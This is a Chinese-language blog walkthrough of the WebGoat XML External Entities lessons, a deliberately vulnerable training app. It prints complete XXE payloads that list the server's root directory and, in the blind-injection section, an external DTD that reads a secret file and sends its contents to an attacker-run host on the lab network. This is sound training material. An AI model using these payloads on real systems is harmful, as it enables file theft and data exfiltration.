WebGoat (A4) XML External Entities (XXE)

目录

一、愉快的通关

第4页

第7页

第11页

1、webwolf解法

2、http.server解法

二、课程思维图

三、一颗安利


一、愉快的通关

第4页

这题要求用XXE注入罗列系统根目录。

首先在上图的输入框输入个评论,比如cute,按submit提交。

到burpsuite的proxy模块找到相关request报文,鼠标右键--send to repeater

从上图可见,<text></text>标签之前的内容是会显示在评论区的,因此如果在此处引用外部实体,外部实体的内容也是可以显示在评论区的。

在request报文中的xml代码中增加DTD,并在其中定义外部实体root,其内容是"file:///",然后记得引用外部实体(&root;)

完整payload:

<?xml version="1.0"?>
<!DOCTYPE cat [
  <!ENTITY root SYSTEM "file:///">
]>
<comment>  <text>&root;</text></comment>

send request报文之后即可通关

返回浏览器刷新一下网页,可以看到新增了一条评论,其中包含根目录(windows系统的C盘)下的所有文件和目录

或者burpsuite的proxy模块中的下图这个response报文中也可以看到

第7页

这题提醒REST框架中服务器可能会接收开发者想不到的格式的数据

题目界面和第4页一样,还是随便评论一下,burpsuite抓个包

burpsuite的proxy模块中可以抓到这样一个发送评论内容的包,Content-Type头是application/json,POST数据是json格式的。把这个包send to repeater。

在repeater中需要做两件事:

1、把第4页的payload拷贝到POST数据部分,替换掉原来json格式的数据

2、把Content-Type头的内容改成application/xml

轻松过关~

第11页

这一页是XXE盲注,要求读取文件C:/Users/Administrator/.webgoat-8.1.0//XXE/secret.txt的内容,并作为评论提交。

先随便提交个评论,burpsuite抓包,send to repeater

从下一步开始,可以走两条路,一条路用webwolf,另一条路用python提供的简易http服务,其实原理都是一样的。

1、webwolf解法

在repeater中修改POST数据内容,修改为下面这段xml代码,并send

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.101.16:9090/files/fancyele/attack.dtd">
%dtd;
%print;
%send;
]>
<comment>  <text>cute</text></comment>

其中attack.dtd的内容如下(attack.dtd事先传到webwolf上):

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:/Users/Administrator/.webgoat-8.1.0//XXE/secret.txt">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://192.168.101.16:9090/landing?text=%file;'>">

webwolf的incoming requests中有这样的请求,其中包含了我们要找的secret.txt的内容WebGoat%208.0%20rocks...%20(hREXoAREJe)

整理一下格式,把%20替换为空格,得到   WebGoat 8.0 rocks... (hREXoAREJe),并作为评论提交

通关~

2、http.server解法

在攻击者PC(192.168.101.14)上保存文件attack_local.dtd,其内容如下

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:/Users/Administrator/.webgoat-8.1.0//XXE/secret.txt">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://192.168.101.14:8000/landing?text=%file;'>">

在攻击者PC上命令行通过cd命令进入文件attack_local.dtd所在文件夹

然后在命令行输入如下命令,以开启简单的http服务

python3 -m http.server 8000

在repeater中修改POST数据内容,修改为下面这段xml代码,并send

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.101.14:8000/attack_local.dtd">
%dtd;
%print;
%send;
]>
<comment>  <text>cute</text></comment>

其实从response的报错信息就可以得到我们要的答案了,不过就算没有报错信息,secret.txt文件的内容也会出现在攻击者的命令行窗口

把text=后面的内容整理一下格式,%20替换为空格后作为评论提交即可通关。

二、课程思维图

三、一颗安利

安利一下自己之前写的pikachu漏洞靶场的XXE通关博pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)

猜你喜欢

转载自blog.csdn.net/elephantxiang/article/details/114680896